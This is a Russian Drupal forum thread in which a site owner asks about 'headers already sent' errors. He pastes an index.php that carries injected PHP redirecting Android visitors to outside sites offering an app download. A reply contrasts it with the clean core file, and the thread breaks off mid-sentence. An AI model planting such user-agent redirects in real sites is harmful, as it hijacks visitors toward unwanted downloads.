Ошибка с кодировкой из-за перезаписи index.php

Главные вкладки

Аватар пользователя max85 max85 28 ноября 2014 в 11:54

Уже два раза на сайте вылетают следующие ошибки:

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/anitafit/anitafit.ru/docs/index.php:13) in drupal_session_start() (line 278 of /home/anitafit/anitafit.ru/docs/includes/session.inc).
Warning: Cannot modify header information - headers already sent by (output started at /home/anitafit/anitafit.ru/docs/index.php:13) in drupal_send_headers() (line 1216 of /home/anitafit/anitafit.ru/docs/includes/bootstrap.inc).
Warning: Cannot modify header information - headers already sent by (output started at /home/anitafit/anitafit.ru/docs/index.php:13) in drupal_send_headers() (line 1216 of /home/anitafit/anitafit.ru/docs/includes/bootstrap.inc).
Warning: Cannot modify header information - headers already sent by (output started at /home/anitafit/anitafit.ru/docs/index.php:13) in drupal_send_headers() (line 1216 of /home/anitafit/anitafit.ru/docs/includes/bootstrap.inc).
Warning: Cannot modify header information - headers already sent by (output started at /home/anitafit/anitafit.ru/docs/index.php:13) in drupal_send_headers() (line 1216 of /home/anitafit/anitafit.ru/docs/includes/bootstrap.inc).
Warning: Cannot modify header information - headers already sent by (output started at /home/anitafit/anitafit.ru/docs/index.php:13) in drupal_language_initialize() (line 2523 of /home/anitafit/anitafit.ru/docs/includes/bootstrap.inc).
Warning: Cannot modify header information - headers already sent by (output started at /home/anitafit/anitafit.ru/docs/index.php:13) в функции drupal_send_headers() (строка 1216 в файле /home/anitafit/anitafit.ru/docs/includes/bootstrap.inc).

Я захожу в index.php и вижу следующее:

<?php
$ua 
$_SERVER['HTTP_USER_AGENT'];
if(
stripos("***$ua",'android') !== false){
header("Location: http://mob-version.ru/ru/");
die();
}
$ua $_SERVER['HTTP_USER_AGENT'];
if(
stripos("***$ua",'android') !== false){
header("Location: http://load-app.org/m/?mobile_version=CleanRu");
die();
}
?>

<?php
/**
 * file
 * The PHP page that serves all page requests on a Drupal installation.
 *
 * The routines here dispatch control to the appropriate handler, which then
 * prints the appropriate page.
 *
 * All Drupal code is released under the GNU General Public License.
 * See COPYRIGHT.txt and LICENSE.txt.
 */

/**
 * Root directory of Drupal installation.
 */

define('DRUPAL_ROOT'getcwd());

require_once 

DRUPAL_ROOT '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
menu_execute_active_handler();?>

Здесь между тегами }?> <?php пустая сторока, если я ее удаляю, то все приходит в норму, иначе вышеуказанная ошибка. Уже второй раз записалась эта пустая строка в index.php. Кто-нибудь может подсказать из-за чего это может происходить?
(версия друпала 7.9)

Комментарии

Аватар пользователя multpix multpix 28 ноября 2014 в 12:23

"max85" wrote:
Я захожу в index.php и вижу следующее:

а мы заходим сюда: https://api.drupal.org/api/drupal/index.php/7
и видим следующее:

<?php

/**
 * @file
 * The PHP page that serves all page requests on a Drupal installation.
 *
 * The routines here dispatch control to the appropriate handler, which then
 * prints the appropriate page.
 *
 * All Drupal code is released under the GNU General Public License.
 * See COPYRIGHT.txt and LICENSE.txt.
 */

/**
 * Root directory of Drupal installation.
 */

define('DRUPAL_ROOT', getcwd());

require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
menu_execute_active_handler();

"max85" wrote:
Уже второй раз записалась эта пустая строка в index.php. Кто-нибудь может подсказать из-за чего это может происходить?

Это происходит по причине того что